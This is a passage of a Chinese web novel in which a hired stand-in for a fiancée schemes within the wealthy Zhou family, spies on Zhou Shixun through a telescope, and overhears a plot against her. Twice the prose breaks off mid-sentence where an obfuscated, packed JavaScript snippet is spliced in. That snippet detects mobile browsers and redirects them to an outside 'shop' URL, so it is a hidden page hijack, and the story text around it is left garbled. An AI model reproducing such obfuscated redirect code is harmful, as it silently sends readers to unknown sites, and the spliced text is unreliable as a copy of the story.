《一千零一夜春露》 3. 少女的祈祷 一窗之隔。 坐在车内的男人,黑西装,冷傲高贵。 站在窗外的少女,白长裙,低微狼狈。 白与黑的冲撞,柔软与强势的碰击。不论怎样,与生来便玩弄强权的上位者气场对峙显然不明智。这样缺乏理智的行为,让江禧占不到半点优势。 不过,少女也有自己的聪明所在。 “抱歉,我不是有意麻烦您。”她会将请求的语气放得低柔。 “只是我答应过汪奶奶,今天会带阿风一起回家,如果被奶奶知道他这样半路扔下我,可能会惹她老人家不开心。” 这是实话,江禧没撒谎。在【遊園】居住的这段时间里,女孩行为得体,进退有度,更有玲珑心思处处讨得汪氏喜爱。周家人有目共睹。 就算繁忙在外的周时浔偶尔也会在电话里,听到祖母对弟弟的这位未婚妻称赞有加。 女孩游说的措词富有技巧,貌似善解人意的合理。于是她手挡车窗的无礼动作进而演变为一种略显激进的莽撞。 无礼惹人生厌。 但莽撞,情有可原。 江禧不确定自己这番说辞,能否打动这个冷性薄情的男人,只能赌一把。 “周老先生过世已经让奶奶过度劳神,您一定不想再因为阿风的事,让她烦心。” 否则以周时浔的身份,又怎么会大半夜亲自去夜场抓周锡风回家。 “麻烦您载我一起回去吧。”当她的眼神一下子软下,少女楚楚怜弱的委屈感就出来了。 最后,还会改口称呼他为,“大哥…” 少女的尾音落有近乎祈求的成色。 周时浔缓慢掀起眼皮。天色雾蒙,四处晦黯,他的眼色寡沉无度,唯有瞳孔深处折投一线冷光,如有实质般投向她,平静眸波下透出极具剖析力的危险。 江禧像被他的目光烫了下,心口微窒,手指也不自觉缩蜷,乌密长睫因他眼底的审量感而轻轻发颤。 周时浔的眼神实在骇人。江禧猜不透,于是就算心有不甘,还是迟疑着把手从车窗上拿了下来。 净透无瑕的玻璃上,留有她清晰凌乱的指痕。 一如女孩慌乱心跳的具象化透视。 算了,江禧疲惫转身,心里忍不住暗骂“姓周的没一个好……” 忽然,车门响起“啪嗒”一声。 截断她的骂句。 江禧迅速回头,双手扒住车窗凑了上去。 黑色玻璃挡住她的鼻唇,只露出少女一双闪闪发亮的眼睛,眸型笑弯似月弧,望向男人的眼波仿佛盈着两汪水般湿霭潮漉,惊喜的神情被这双眼演绎得生动欲滴。 “谢谢您。”她反应极快,自觉拉开门钻上了车,身姿灵活得像一尾游曳的鱼。 车内温度开得极低。 江禧刚刚淋过雨,衣裙被粘湿,从潮闷溽热的室外骤然浸入密闭冷气中,让她狠狠打了个寒战。 还没等她缓过来,一丝冷香猝然挤入鼻腔。 江禧顺势落眸下去,见到周时浔朝她伸手,懒漫摊开掌,食指略勾。 淡薄的冷茶香随他腕骨翻动飘开,侵袭她的嗅觉神经。乌木焚香叠烧出浅淡禅性的凉,清消冷感的欲,末尾混染冰寒料峭的玉龙茶调。 男人的嗓线浸泡在茶调香氛里,低磁发沉。 “车钥匙。”他说。 江禧却分心了。 前一秒耳边里飘过的是“车钥匙”,后一秒脑内闪过的想法就变成“他的手可真漂亮”。 男人手指关节精瘦削长,骨脂分明,指甲修剪得齐短干净。手背脉管线条利落蜿蜒,青筋凸起明显,张弛出非常浓烈的男性荷尔蒙魅力。 金属机械表链圈缠在他骨感有力的手腕,与鸢尾钻纹的袖扣交相折射名贵光调,冰冷,禁欲,名品美学般夺目无暇。 仿似有莹玉的光泛绕在他指尖。 一霎晃晕了江禧的眼。 导致她手比脑子快,在迟钝整整两分钟后,她已经不记得对方刚才说了什么。 心里想着“还要握手这么客气”,手已经直接伸过去握住他,然后,毫不见外地蹦出来一句: “我也很高兴认识您,周先生。” 冰凉绵软的手感落入掌中。 陌生的微妙。 女孩肤色冷白,腕骨盈瘦,手背皮肤细腻薄透,隐隐看得见皮下脆弱的青蓝血管。 秀长纤指贴触在他手腕内侧的动脉处,指温冷凉,敷落轻微濡湿的柔软压感。 周时浔淡敛下眸,视线落在江禧猝不及防握上来的手,明显停顿了下,稍显懒倦的眼色隐微波动,一闪而逝。 他皱起眉,第一反应是从她指间冷漠抽手。不料江禧握得紧,他甚至施了些力度才抽离开,神态更为疲恹。 命令的口吻也更冷了:“钥匙,拿来。” 肌肤接触,男人的指戒无可避免地蹭划过女孩的掌心,触感冰冷,带来一点轻描淡写的、奇妙敏锐的,痒。 “什么钥匙?”江禧略带困惑地看向他。 手指不自觉弯蜷,反复抚触了几下被他无意擦滑的掌心位置,感觉异样。 周时浔侧偏头,眼神瞟过她的手,没出声。 江禧有些不明所以,下意识摸了摸身上,忽然摸到了周锡风扔给她的那把车钥匙。 但是—— 周时浔怎么知道周锡风给过她车钥匙? 大概只有一种可能。 “您都看到了,是吗。” 她故意制造的这场“英雄救美”的邂逅;包括演戏前她跟同伴在他车旁说的话,为了在周锡风那里刷存在她所用的这种——算不上光彩的手段。 早已败露在周时浔眼皮底下。 像个小丑。 倘若换作别的男人,她还会想着试探。 但周时浔不行。江禧知道,这个男人拥有常人不及的洞察力,锋利莫测,理性而缺乏情绪,任何自作聪明地试探在他这里,都变得拙劣。 与其虚假,不如笨拙的直白。 于是她立刻道歉:“对不起,大哥。” 女孩蔫蔫地垂下睫毛,遮起眸下流转的小心思,表现得为难,“我不是故意戏弄他,汪奶奶也希望我能让阿风收收心。您知道的,想让他收性没那么容易,有时候迫不得已我只能用些手段……” 周时浔半眯起眼睛,凝住她,漠然注视她的眸色带有一种由皮穿骨的审视。 他压根不接招。 车内本就冷却的气氛趋近冻结。 分明彼此坐得十足距离感,可男人倾倒性的气场令人无处可藏。江禧如坐针毡,鼻尖是他身上弥散的冷茶香,眼前是他不着色半点情感的浅眸。 这种感觉太被动,以至于她说出口的话像不受控,“但请您相信,我绝对不会做伤害阿风的事,更不会做有损家族利益的事——” 她骤然截住话头。 她在说什么?她竟然在向这个男人表忠心。她极力想要对方知道自己跟那个骗走周锡风钱的女骗子绝不一样。 当然她才不是这样想的。伤不伤害周锡风有什么所谓?为了完成任务她必须不遗余力,不择手段。 但是。 但是她刚才说这话也是拿出了十足的诚意。她拼命示忠的目的,只是不想在周时浔那里留下“诡计多端”的不良印象。 毕竟整个周氏现在由他掌权。 不管周家长辈有多认可她,这个男人都有“一票否决”她的权力。而她现在决不能被赶出周家。 无论如何她都要完成这一单。 无论任何阻力,任何妨碍,任何不利于她从黎贝珍的父亲手中拿到这份不菲佣金的困境,江禧都会竭尽全力、全心专注地攻克和踏碎。 攻略周锡风?她势在必得。 江禧实在太需要这笔钱了。 这是唯一能让她活下去的出路。 不会再有了。 比这更好的机会。 周时浔这时斜她一眼,扯唇:“怎么不说了?” 江禧一秒回过神,干笑两声:“怕您嫌我吵。” 她怕再说就显得谄媚了。 “总之,把阿风交给我您就放心吧,我会比任何人都用心对他,保证以后让他乖乖听您的话。”她又补充了句。 周时浔眼也不抬,修削长指闲散把玩着车钥匙,矜傲自持,像无视了她的废话。 见他不理人,江禧撇撇唇,讪讪地闭上了嘴。直到车子平缓驶入【遊園】私人警卫区,寸头男驱车驶停在无人处,意在让她下车。 江禧也没再多说什么,礼貌道谢。然而转身打开车门之前,倏然,她听到身后男人淡漠开口,字词透着些微讥嘲: “看来黎小姐对于这场联姻,很是享受。” 明显听得出对方话里的讽意,江禧背对着他翻了个白眼,懂也只能装着不懂,违心话张口就来: “当然啦,阿风虽说平时爱玩了些,但我信他本性不坏。作为未婚夫他在各方面条件都拿得出手,我没有拒绝的理由。” 音落,她走下车。又像想到什么,关门前转身回望向周时浔,她忽然弯起嘴角,眸中闪动的无辜光泽藏有狡黠的底色。 她说:“大哥,周家在港城的地位首屈一指,我们黎家也不差什么。既然是门当户对的婚事,如果您愿意为我撑腰,相信这场双方长辈都看好的联姻很快会有好消息。” “为你撑腰?”周时浔像听了个笑话。 瞥向她,薄唇勾起弧度,眼神却剥离浓烈讥诮的意味,反问,“我为什么要。” 又来了,这种孤傲冷蔑的眼神。 “要、要是我跟阿风在一起,我一定替您好好照顾他。”江禧强忍着被他眼神逼压的慌意,极力维持轻快的语调,回答, “至少不会再出现让您百忙之中,还要费心半夜捉他回家这种事。” 女孩字词小心,语气是畏瑟。 可眼神坚定不移。 这让她看起来有一种割裂的矛盾感。既坦诚,又设防,表达的情绪介于这两者之间,哪种都有,哪者都不能完全概括,所以虚伪也看似真挚。 “你在要求我做事?”男人腔调懒散。 “是请求。”少女表情诚恳。 周时浔轻挑眉尾,低哑嗤笑一声:“这么没诚意的请求?” 江禧有些不服,脱口而出:“就当为了您弟弟,做一场稳赚不赔的慈善。” “哦?”男人慵懒地抬膝叠腿,“那么,你能让我赚到什么?” 一句话让她微哽,“我…” “嗯?”他眼梢微眯,似乎不耐烦。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395780|141163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的确还没有能拿出手的筹码,暂时。 周时浔一眼看穿她的想法,姿态高贵,音容里淌出的讽刺不加掩饰: “黎小姐,拿不出等价的筹码,你没资格求我。” 布加迪豪车如它的主人那般孤高离开。 江禧被成功噎在原地。 是她的错。她高估了他跟周锡风的兄弟情,更低估了这个男人的不近人情。 收起上一秒娇弱求怜的神情,她转身往【遊園】里走去,脸上的笑意渐渐消失。 这一瞬她恍然惊觉: 即便当下自己套着富家女黎贝珍的千金皮,又如何。在绝对统治性的名门权贵者面前,他们之间,永远横亘着无从跨越的阶级差层。 这种地位差,意味着上流家族习与性成的傲慢与偏见。 她刚刚说:黎家也不差什么。 黎家真的不差什么吗? 不,对比港城首席豪门周家,黎家差得远了。 如若不然,黎贝珍的父亲又怎么会找到江禧,在自己女儿顶不上的关头,哪怕找个冒牌货也要费尽心机与周家扯上关系。 这群有钱人戏可真多。 今天实在是精疲力尽,江禧也没心思再想这群有钱人之间的弯弯绕绕。 【遊園】里兜兜转转好半天,江禧最终在一栋红砖洋房楼前站定。三层摩登小洋楼,神秘风情,低饱和的暗红墙体隐于葱郁绿林,与整座【遊園】如出一辙的海派复古美感。 洋楼正中挂了块金木雕花手刻匾。 ——「Clanp普蘭佩」 十分高级的名字。其实就是间家庭西式餐厅。 现在还早,还不到正式用餐时间。但江禧实在饿得头晕脑胀。 住进周家这半个月,虽然没见到周锡风,她倒也没闲着。每天要用尽各种手段讨汪氏开心,想尽办法打听周锡风的下落,再跟同伴轮流蹲守。 除此之外,她还赚足了一百单【代见费】。 所以江禧每天都很忙。忙到压榨睡觉时间,连续两天不合眼是常有的事;也忙到没时间吃饭,比如从前晚到今早她还没有认真吃到一顿正餐。 不该用那碟炒牛河教训恶臭男的,可惜了。 江禧后悔地叹一口气,看了眼手机时间,才五点多。她记得这个时间【普蘭佩】内只有采办工人在运送食材,主厨管家与一众佣人们的工作时间是六点十分。 没什么人的话,她就不必时刻维持富家女黎贝珍的千金人设,吃个东西精致又挑剔。加上江禧本身对吃的东西一向没什么讲究,能饱腹就行,她决定随便煮个面吃完回去补觉。 然而一迈进【普蘭佩】,江禧不免愕然惊住。 当下氛围是安静。 但整个中庭人来人往,阵仗很大。 主厨管家携领一众菲佣家仆已经在纷纷备餐,所有人秩序井然,手脚轻悄娴熟,动作利落而迅速不紊。 见江禧出现,侍女立即过来询问她想吃什么。江禧不想被这么多人盯着吃饭,于是快速选好餐食独自走上二楼,很快有两名侍女端盘上来为她布菜。 正吃着,杀马特突然响了她几条微信,问她昨晚台球室里什么情况。 江禧坐在二楼大厅的窗边,边吃边回他消息。空隙里无意间一个低头,忽然瞟见不远处,周锡风正往【普蘭佩】的方向过来。 她唰地站起身,偷偷朝下望了眼,确认他真的进了一楼。 这小子也是来吃饭的? 这时候,楼下清晰传来周锡风的声音,打破原本的平静:“黎惠珍人呢?!” 女管家礼貌询问:“二少爷是在找‘贝珍’小姐吗?” “管她什么珍,她人呢??” “贝珍小姐正在二楼用餐。” 简单的粤语交谈,江禧勉强听得懂。 她坐回座位上,叉下一块鱼子酱虾饼塞嘴里,轻转的眸波里带有一点思考。随后她抓起手机,边嚼边手指飞快地打字。 片刻后,旋转木梯传来匆匆踏上的脚步声。 一楼到二楼共设有15步阶梯。 江禧留意过。 她耳尖略动,眼睛落在手机屏幕上,心里却在随来人迈上楼阶的脚步声默念倒数: 15、14、13、…… 屏幕上发来一条三秒的语音。 3、2、1—— 第二条语音收到。 周锡风走了上来,见到江禧开口就喊:“黎惠珍你……” 江禧眉尖微挑,拇指按下语音外放。 “bb,回國之前都仲話愛我,先過幾日就要結婚?” (宝贝,回国之前还说爱我,这才几天就要结婚了?) 江禧手机里响起一道男声。 粤语,尾声拖长,气泡音浓腻压低。 适时打断周锡风的话,让他愣在原地。 江禧悄悄掩下唇角的笑容,再抬眼瞬间切变满脸惊惶,手指胡乱点按屏幕,像是要暂停语音,又因为过度慌张怎么都关不掉界面。 总之,第二条语音自动播放: “反正周錫風呢個花心少爺你睇唔上眼啦,聯姻都冇咩所謂,bb,我可以當三……” (反正周锡风那个花心少爷你看不上眼的啦,联姻也无所谓,bb,我可以给你当三……) 4.窥镜 语音被江禧猛地按断。 在最关键的地方,恰到好处地戛然而止,耐人寻味。 周锡风怔怔地杵在那里,好半天才反应过来,觉得荒唐:“bb?” “诶?”江禧抬起头。 “不是叫你!”周锡风没好气。 “哦…”她小声。 “对我看不上眼??” “我没有……” “还给你当三???” “你误会了阿风!”江禧佯作着急。 周锡风轻蔑嗤哼一声,走近她,语调讥笑:“你行啊,又是前男友又是男小三的,你挺受欢迎啊。” “还行吧…” “?” “啊不、不是…”江禧连忙摆手,“我可以解释——” “你把我当傻子吗?”他忽然扬起唇,冷笑。 江禧登时心脏漏跳半拍。 糟糕,被识穿了么? 语音是她故意外放的。 也是她趁周锡风上楼的时候组织好台词,发过去,让杀马特照着念完又发过来的。 攻略周锡风,江禧当然不会用那种一板一眼女追男的笨办法,她没那个耐心。也没那么多时间。 她更喜欢另辟蹊径。 比如在留下深刻的初印象后,吊一吊他的胃口。 给一点新鲜感让他尝尝。 不过,这次好像失败了? “以为我看不出来?你就是看我长得比他帅,也比你前男友帅,你喜新厌旧!”周锡风自信满满。 “……哈哈。” 所以他不是傻子是什么? 江禧没说什么,干脆转了话题:“你找我有什么事?” 周锡风单手插兜,不耐烦地朝她伸出另一只手。 “?”他这肯定不是握手的意思。 不是,这兄弟俩怎么一个毛病啊。 “车钥匙还我。”他催促道。 江禧:“那个……” 见她没动,周锡风慢慢眯起眼,语气暗含警告,一字一顿:“怎么?别告诉我你搞、丢、了。” “当然没有!”江禧立马接话。 “给我。” “钥匙不在我这里。” “在哪?” “在你大哥那里。”她耸耸肩。 “……哪?”周锡风简直以为自己听错了,不敢相信他说的这个人是谁,走近后又问了遍,“你说…谁??” 江禧烦躁了下,不由地抬高声音:“周时浔!” 这怎么耳朵还不好使呢。 空气当即凝结了一瞬。 整个世界好像突然变得安静,连楼下原本低浅窸窣的碗碟磕碰音都消失了。 如果这个时候江禧从楼梯口看下去,会发现所有正在工作的家佣都停了下来,纷纷望向楼上,面露惊异。 在这里,不会有人这样称呼那位。 周锡风被她喊愣了下。 因为他也不敢这样称呼周时浔。 江禧见他不出声,以为自己态度不好惹他生气了。她清清嗓子,忙又重新牵起笑容,跟他细声软语地解释: “你把我扔在半路,我累点淋点雨倒没所谓,但我那么狼狈地从正门明晃晃走进来,我担心被奶奶知道以后会让你挨骂。” 同样的话术,被她颠过来倒过去地说,就能在不同的人面前呈现出不同的意味。 “你会有这么好心?”周锡风嘁声。 “我说过我是站你这边的嘛,阿风,毕竟我们很快就会成为夫妻——” “打住,怕你搞个小三绿死我。” “……不是你想的那样。” 周锡风打断她,“说重点。” 江禧撇撇嘴,老实交代:“回来路上正好碰到大哥的车,他顺路载上我一起,在车上的时候就把你的车钥匙没收了。” “你…坐我哥的车回来的?”周锡风似乎很诧异。 江禧点点头,不动声色地观察他,发觉他的表情有点精彩。 她在他震惊的情绪中读出一种不可置信,这份不可置信从另一个层面来讲,或许还可以理解为,另眼相看。 “他还说什么了吗?” 他的追问完全印证了江禧的分析。 “他还说…”江禧想了想,看着他的眼睛,信口扯谎,“他还说周黎两家也算门当户对,虽说联姻是利益互结,但他还是比较看好我们的。” 不料周锡风倏然挑挑眉,“是么?” 他怎么那么不信呢。 “既然我哥都看好你,”周锡风这时半弯下腰,与她平视,不怀好意地哼笑一声,“那我就给你一个在我面前表现的机会,要不要?” “什么?”江禧本能警惕,觉得他没憋好屁。 “去把钥匙搞回来。” “?” 她就知道! “我不管你想什么办法,总之,你搞没的车钥匙,你负责把它从我哥手里重新拿回来。” 周锡风笑得又痞又坏,“明天之前见不到我的车钥匙,你就立刻给我哪来的回哪去,听明白了吗?” ……妈的,他是狗吧?? 周锡风见她低着头不说话,当她害怕了,一脸得意地直起身,双手插兜,装模作样地又给出第二个选择:“或者,你愿意现在就放弃联姻直接走人,那我也可以不计较……” “如果我拿回来了呢?”江禧蓦地抬起头。 周锡风被她前后反差搞的有点懵,“什么?” “我说,不管我去周时浔那里用偷的用抢的,”她声音平淡,表情却坚定,“钥匙拿回来的话,你也要答应我一个条件。” 二楼餐厅又一次陷入静默。 站在这里对峙不下的两人不会知道,此刻,餐厅左侧的房间内,他们口中的当事人正在这里用餐已久,且被迫全程听完了他们两个之间没什么营养的对话。 房外的两人还没结束。 “什么条件?”周锡风倒是警觉,“跟你结婚?想都别想!” “不结婚,那就约会吧。” “?” “周时浔不是不许你出门吗?”女孩的语调轻快又温柔,说:“我帮你,阿风,拿到车钥匙我们就偷偷跑出去怎么样?” · “条件是,跟我约会半天。” 厢房内,周时浔放下刀叉,长指拎起餐巾优雅擦拭了下唇,淡声开口,喜怒莫辨:“【普蘭佩】的隔音这么差劲么?” 总领管家自然秒懂他话中含义,躬身微笑,答非所问:“贝珍小姐的确与众不同,或许…这也是老夫人格外欣赏她的理由。” “怎么定性是‘欣赏’,还是‘被骗’?”周时浔口吻微嘲,侧头对管家下令吩咐,“帮老太太防着点。” “是,大少爷。” “老板,要在你房间加派人手吗?”寸头男仲一适时插话。 周时浔轻哂:“你觉得她真敢来?” 想到才见面短短一天一夜,女孩完全不按常理出牌的操作,根本让人捉摸不透,仲一皱了皱眉,颔首冷声道:“不是不可能。” 周时浔淡嗤一声。他懒散后靠向椅背,长腿交叠,屈指敲扣两下桌面,腔调戏谑得华美: “那就等着她来。” / 一觉醒来已经午后时分。江禧爬起来冲了个热水澡,让人把饭送来房间,认认真真吃了个顿饱饭之后,才觉得真正活了过来。 她拎了瓶冰苏打走进衣帽间,摸到拐角柜隔断里的开关,按下去,角柜自动收缩后向一侧推滑,露出里面一小扇中古绿半拱暗门。 指纹识别通过,江禧推门进入里间私人密室。 她抬手一把扯下红丝绒遮墙挂布,感应轨道灯随即打照亮光。放眼望去,面前巨幅磁吸墙一分为三。 左面是整个【遊園】建筑总览地图。 右面是其家族资产与集团概括细则。 正中央,铺展着周氏家族所有人物关系导图及个人背景简介档案。 满满当当,一整面照片资料墙。 大部分照片旁都落有江禧仔细书写的注释笔记。有的来自黎贝珍父亲给她的现有的资料档案,有的则是江禧住进周家半个月后的自己留心观察所得。 其中,周锡风的照片旁写满了笔迹。 只有一个人还是空白,周时浔。 周家现在办着丧事,她特意跟家中分部的管家打听了下,据说最近这段时间周时浔都会住在【遊園】。 为了拿车钥匙专门去堵他不现实,去偷去抢更是没谱的事,周时浔不是周锡风,这个男人段位太高。 若非必要,她其实并不想与他产生任何交集。 如果必须接触他,就要动动脑子。 江禧双手环胸,盯着眼前的照片墙思考了好一会儿,觉得稳妥起见还是知己知彼。 她决定先去观察一下周时浔。 转过头,她将目光放在左侧的地图上。 【遊園】,一座位于平澜苍山顶的私人墅群庄园。 百年前。周氏祖先由内陆粤广区南下迁移,入港扎根,择地起楼,购林开山,周家如赤龙金蛟镇卧盘踞于此,世代薪火相传。 从此港岛的每一场金融飓风,皆以“周氏”命名。 周家人丁兴旺,因此在【遊園】以小家为单位分配住处,相当于一家一户多层别墅。但子孙成年后若经济独立,便可以选择分家,拥有属于自己的独栋别墅。 江禧懒洋洋靠坐着桌边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13404904|141163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,眼睛逡巡在地图上搜寻目标,不由地轻喃:“周时浔的别墅位置在高处。” 那么想观察他,需要一个更高的对立角度。 “比他的别墅更高的建筑是……”她盯着墙上地图仰头灌了口水,随后从桌上盒里取出一枚飞镖,单眯眼瞄准位置,甩出,精准扎中。 ——书馆【眷椿】。 书馆【眷椿】,顾名思义无非就是栋藏书楼的存在。楼内分九层,是【遊園】内除了钟楼之外第二高度的建筑体。 一至五楼存有中西方巨著及世界各国稀贵的小众文学。六楼名品字画艺术展,七楼会议室,八楼为周氏家史长廊。 这个时间书馆没有人,江禧坐电梯直上九楼。 之所以选择这里,满足高度与位置条件是其一。 更重要的是,据闻周家兄弟的祖父周老先生生前是位天文学狂热爱好者。所以,书馆九楼收藏着各类观测天象的精密仪器与天价文物拍卖展品,堪称博物馆级别。 江禧逛了一圈,没找到自己想要的仪器。于是又从木梯爬上小阁楼,将目光锁定在窗边的一架天文望远镜上,轻轻挑眉,发现望远镜朝向的位置正巧就是周时浔的别墅。 来之前,她已经反复查过使用方法了。江禧走过去,推开窗时竟无意看到一只黄色无人机在外盘旋。 没心思去欣赏,她走回天文望远镜后,微弯下腰,握上主镜筒眯起一只眼凑近,按照网上教学那样去挪移镜头探寻合适角度。 调节焦距,找到周时浔的别墅置于视野中心,小幅度扭转瞄准镜螺丝,使双镜光轴平行,最后松开锁死的脚架。 可下一瞬, 镜像中的画面狠狠刺入她眼中—— 是周时浔。 但是他……好像才刚结束腰腹训练,此刻正半裸着上身,懒漫斜靠在窗边接电话。 江禧眼神木讷地扫了圈镜头里的环境,看到满屋的专业健身器械,这才发现自己竟然把视域对焦点瞄中了他的健身房。 日落未落,霭云自我燃烧换取须臾盛绽的残霞。蜜橙色昏光边缘泛着红,透过暗绿窗格,渗洒在周时浔精健修美的身骨上。 男人肤色健康,肩宽平直,脊背落拓挺拔。锁骨清晰嵌出深凹的颈窝,尾端勾连高突肩峰,腹肌轮廓紧实虬结,欲气勃发,腰线劲瘦硬朗,流畅性感的人鱼线向下蜿蜒,没入稍低的运动裤边。 江禧怎么都没想到,在周时浔清贵寂冷的气质下,竟藏有如此明锐昂扬的优越体态。 贪心的少女还在沉浸式欣赏男人的身材。她看到周时浔结束了通话,将手机揣进裤兜,随意触控了下电视墙开关,手里还拎着个类似遥控器大小形状的东西。 江禧正打算仔细观察那是什么遥控器,这时候,猝然出现的画面令她当场瞳孔骤缩—— 当电视墙的电子荧屏亮起。 在那上面。 她居然,看到了自己。 更准确来说,是她看到自己正在用天文望远镜偷窥的画面。她的脸,无比高清地出现在健身房的屏幕上。 镜头中,似乎周时浔对于突然出现在屏幕上的她也感到意外。 他手中操纵遥控器的动作停滞了下,高倍焦距甚至将男人脸上的情绪展露得一清二楚,她分明看到他素来缺乏情绪的眼底划过微讶,一闪而逝。 率先反应过来,周时浔弯腰从健身轮上捞起衣服套上,转身走出健身房的露台,他微扬下颌,朝她这边冷淡投来一道视线。 江禧顷刻感觉后背惊起一层薄汗。僵滞了半秒,她回过神猛地起身,几乎是下意识地朝窗外探了一眼。 彼此目光隔空交触的一秒。 江禧简直像受了惊吓的鸟,嗖地背过身蹲下,悄咪咪挪去旁边巨大的光杆地球仪后方,拼命试图藏住自己。 过了半分钟,她略微缓了缓神,站起来一些,又迅速闪身溜回天文望远镜后,重新握起主镜筒,再次透过高倍镜头瞄向对面周时浔的健身房。 可这次令她惊愕的是,周时浔不见了! 镜头里只有健身房内的电子荧屏仍在无声播放画面,像一场正在上映的默片。 影片的女主人公是她自己。 而本该出现在她高倍镜下的男主角,却杳无人影。 周时浔人呢? 这是,楼下徒然传来“叮咚”一声。 紧接着电梯厢门缓慢滑动。 在毫无准备的情况下,江禧听到,电梯关门,然后是明显迈上木梯的脚步声,掷地有力。 有人在朝向小阁楼走来。 是谁? 无比极限的瞬间,她唯一想到的是刚刚消失在镜头中的那个男人。 不会…真是他吧。 周时浔。 5.第一视角 不,不太对。 江禧强迫自己稳住心神,越是极端的环境下,越要保持最起码的理智。 然后,理智告诉她: 不该是周时浔。 临出门前,她特别留意过地图上周时浔的别墅到书馆的直线距离。这个距离,步行的话至少需要10到15分钟,而周时浔刚刚在她镜头下消失的时间不会超过五分钟。 尽管如此,她还是不免心虚。 怕自己计算有误,加上此刻身后愈渐逼近的脚步声,慌乱之中,江禧一把抓起手边的厚绒布罩住望远镜,之后飞快躲进巨型地球仪与窗墙之间。 来了。 悄悄透过夹缝,她屏息观察着来人。 还真不是周时浔。 这人是…周时浔的小叔? 作为一名十分具有职业操守的替身,为了滴水不漏,江禧早已对周家成员的名单烂熟于心。 周家老爷子与汪氏育有两子一女。 其中,周时浔的父亲排行老大。而眼前这个中年男人正是汪氏的第二子,周时浔父亲的亲弟弟。 也就是周锡风的父亲,周庆辉。 “老窦,搵我咩事?” (老爸,找我什么事?) 说曹操曹操到,周锡风居然也跟着来了。 父子两人站在窗边用粤语交流。 江禧几乎听不懂。 想到当下这个尴尬处境,一时半会儿也不好贸然出去,只能等他俩先走。 闲着也是闲着,她悄悄掏出手机调成静音,然后给杀马特发了个表情,那边秒回“1”表示在线。 杀马特粤语很溜。于是江禧拨过去一通电话,开放免提,让对面打字给她实时翻译。 “跟你的小未婚妻相处怎么样?”周庆辉点了根烟,问。 “什么小未婚妻,谁承认她身份了?”周锡风听到就烦,“您找我就这事?” 说着就要转身下楼。 周庆辉笑哼一声,“家里人见过那孩子的都夸她双商高,头脑醒目,年纪虽小但很懂察言观色,尤其一张漂亮脸蛋,连老太太都十分钟意。” 他眯眼吐了口烟圈,“怎么唯独你讨厌她?” 周锡风不屑嘁声:“黎家那种暴发户,以为把女儿送到国外镀个金就算培养成上流名媛了,还双商高?像她那种自作聪明的女人我见多了。” 江禧忍不住翻白眼,恨不得一个鞋底呼他脸上。 不过周锡风话糙理不糙。 黎贝珍尚未出生时父母就离了婚,黎母孕期移民到西班牙,生下女儿后没多久便再婚重组自己的家庭。女儿黎贝珍在这之后被完全放养国外。 由于黎贝珍自幼生长在西班牙,不曾回国,港内圈里没人见过她,也完全没有她的相关信息。 因此黎父可以钻这个空子,找来江禧做替身。 至于周黎两家的渊源。 “都这年代了谁还搞娃娃亲?真要玩商业联姻,周家也不可能选那种上不了台面的暴发户,他黎家挺能往脸上贴。”周锡风还在骂骂咧咧。 说起周黎这门婚事,也算有来头。 黎贝珍的外公与周家老先生,也就是周氏兄弟的祖父曾同为皇家港岛辅助空军飞行员,战友情颇深。而黎贝珍的外婆与周家兄弟的祖母汪氏更是手帕交。 两家后代的娃娃亲便由此而来。 “怎么说也是你阿爷应下的事。”周庆辉说。 “他答应他的,我拒绝我的。”周锡风也歪头点起根烟,胸有成竹道,“黎惠珍那种捞女,我看都不会多看一眼,等着吧,马上我就让她乖乖走人。” 狗崽子到现在连名字都记错。 江禧心里暗骂。 “能把老太太哄得天天想带在身边,可不会像你在外面玩的那些一样。”周庆辉却不赞同,话里有深意,“姓黎的这丫头不简单。” 周锡风没懂:“怎么不简单?” “她今早是周时浔送回来的。” “那又怎么样?”周锡风显然没上心,“估计是在大哥面前演戏装装可怜,求他上车的呗。” “你第一天认识你大哥吗?”周庆辉冷笑,“他周时浔是那种随便装个可怜就会允许你上他车的男人吗?” 周庆辉沉思着掐了烟,忽然又道:“我听说,你让她去找周时浔拿车钥匙?” 江禧蓦地一僵。 他怎么会知道?他想干什么? “您到底想说什么?”周锡风觉得他莫名其妙。 “天黑以后你给那丫头打电话,就说你已经跟周时浔说好了,让她今晚直接过去他别墅里拿车钥匙。”周庆辉眼里笑意带了点阴恻。 周锡风还在状况外:“我凭什么帮她!?” “有时候我真是不知道你的脑子长来有什么用!”周庆辉被他蠢得气结,抬高了声音,命令,“你只要负责把她引过去,其他的别管,我会安排。” “您想干什么?”周锡风替江禧问出了心中疑惑。 却被周庆辉模糊带过:“既然你那么讨厌她,那就想办法,让她没脸在这里继续待下去。” 江禧看着手机上杀马特翻译的字句,不禁被气笑了。难为他们父子俩处心积虑就为了赶她走人。 要不说是一脉相承的王八蛋呢。 周家父子的谈话还没结束,江禧却没了兴趣,索性挂断杀马特的电话坐在地上,仰头发起呆。 窗外,黄色无人机正对着她。 突然间,江禧后知后觉地惊醒到一件事,如果说周时浔那里可以远程看到她的话,那就意味着…… 书馆九楼,此刻她所在的这层室内, 装有监控?! 可是刚来的时候她留心观察过,整间小阁楼根本没有露出任何明显的电子摄像头,她确定。 眉尖略蹙,江禧稳下心努力回想了一下,很快意识到刚才在周时浔的健身房里,被投屏到电视墙上的那个画面角度,是她的正面视角。 也就是说,摄像头位于正对着她的方向。 